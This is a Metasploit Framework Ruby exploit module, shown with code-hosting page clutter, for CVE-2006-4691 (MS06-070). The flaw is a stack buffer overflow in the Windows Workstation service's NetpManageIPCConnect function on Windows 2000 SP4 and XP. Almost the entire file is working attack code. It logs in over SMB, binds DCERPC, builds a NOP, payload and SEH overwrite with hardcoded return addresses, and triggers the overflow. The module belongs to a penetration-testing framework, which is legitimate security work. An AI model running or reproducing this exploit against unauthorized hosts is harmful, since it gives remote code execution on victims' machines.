197 lines
5.5 KiB
Ruby
197 lines
5.5 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking # Requires valid/working DOMAIN + DC
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Workstation Service NetpManageIPCConnect Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
|
|
function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.
|
|
|
|
In order to exploit this vulnerability, you must specify a the name of a
|
|
valid Windows DOMAIN. It may be possible to satisfy this condition by using
|
|
a custom dns and ldap setup, however that method is not covered here.
|
|
|
|
Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator
|
|
credentials are required to reach the vulnerable code. Windows XP SP1 only
|
|
requires valid user credentials. Also, testing shows that a machine already
|
|
joined to a domain is not exploitable.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'jduck'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-4691' ],
|
|
[ 'OSVDB', '30263' ],
|
|
[ 'BID', '20985' ],
|
|
[ 'MSB', 'MS06-070' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Targetting', { } ],
|
|
[ 'Windows 2000 SP4',
|
|
{
|
|
'Offset' => (1058*2),
|
|
'Ret' => 0x75022ac4 # pop/pop/ret in ws2help.dll
|
|
}
|
|
],
|
|
[ 'Windows XP SP0/SP1',
|
|
{
|
|
'Offset' => (1290*2),
|
|
'Ret' => 0x71ab21cd # pop/pop/ret in ws2_32.dll
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Nov 14 2006'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use.", 'WKSSVC']),
|
|
# NOTE: a valid domain name is required. See description.
|
|
OptString.new('DOMAIN', [ true, "The domain to validate prior to joining it."])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect()
|
|
smb_login()
|
|
|
|
mytarget = nil
|
|
if (target.name =~ /Automatic/)
|
|
case smb_peer_os()
|
|
when 'Windows 5.0'
|
|
print_status("Detected a Windows 2000 target")
|
|
mytarget = targets[1]
|
|
when 'Windows 5.1'
|
|
begin
|
|
smb_create("\\SRVSVC")
|
|
print_status("Detected a Windows XP SP0/SP1 target")
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
if (e.error_code == 0xc0000022)
|
|
fail_with(Exploit::Failure::Unknown, "Windows XP SP2 requires Administrator privileges!")
|
|
end
|
|
print_status("Detected a Windows XP target (unknown patch level)")
|
|
end
|
|
mytarget = targets[2]
|
|
else
|
|
fail_with(Exploit::Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
|
|
end
|
|
else
|
|
mytarget = target
|
|
end
|
|
|
|
handle = dcerpc_handle(
|
|
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
|
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
|
)
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
print_status("Building the stub data...")
|
|
|
|
distance = mytarget['Offset']
|
|
hostname = make_nops(distance - payload.encoded.length)
|
|
hostname << payload.encoded
|
|
hostname << generate_seh_record(mytarget.ret)
|
|
hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
|
|
|
|
name = datastore['DOMAIN'] + "\\\\L"
|
|
name = Rex::Text.to_unicode(name)
|
|
name << hostname
|
|
name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3)
|
|
name << "\x00\x00"
|
|
|
|
stub =
|
|
NDR.uwstring("\\\\#{datastore['RHOST']}") +
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(name) +
|
|
NDR.uwstring("") +
|
|
NDR.uwstring("") +
|
|
NDR.long(0) +
|
|
NDR.long(1)
|
|
|
|
print_status("Calling the vulnerable function...")
|
|
|
|
begin
|
|
dcerpc.call(0x16, stub)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
rescue => e
|
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
|
raise e
|
|
end
|
|
end
|
|
|
|
# Cleanup
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
The IDL for NetrJoinDomain2 looks like this:
|
|
long _NetrJoinDomain2@28 (
|
|
[in][unique][string] wchar_t * arg_1,
|
|
[in][string] wchar_t * arg_2,
|
|
[in][unique][string] wchar_t * arg_3,
|
|
[in][unique][string] wchar_t * arg_4,
|
|
[in][unique] struct_C * arg_5,
|
|
[in] long arg_6
|
|
);
|
|
|
|
|
|
1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN
|
|
2. <-- dns server - response including answer and additional record.
|
|
answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389
|
|
additional: IN.A address of whateverserver.DOMAIN
|
|
3. --> ldap server - baseObject query with filter/attributes:
|
|
- filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00))
|
|
- attributes: AttributeDescriptionList: NetLogon
|
|
4. <-- ldap server - searchResDone success, attributes data
|
|
- PartialAttributeList netlogon - 1 item
|
|
- type 23, flags 0x1fd, domain GUID,
|
|
forest, domain, hostname, netbios domain, netbios hostname,
|
|
user, site, client site, version, lmtoken, nttoken
|
|
5. validated.
|
|
|
|
=end
|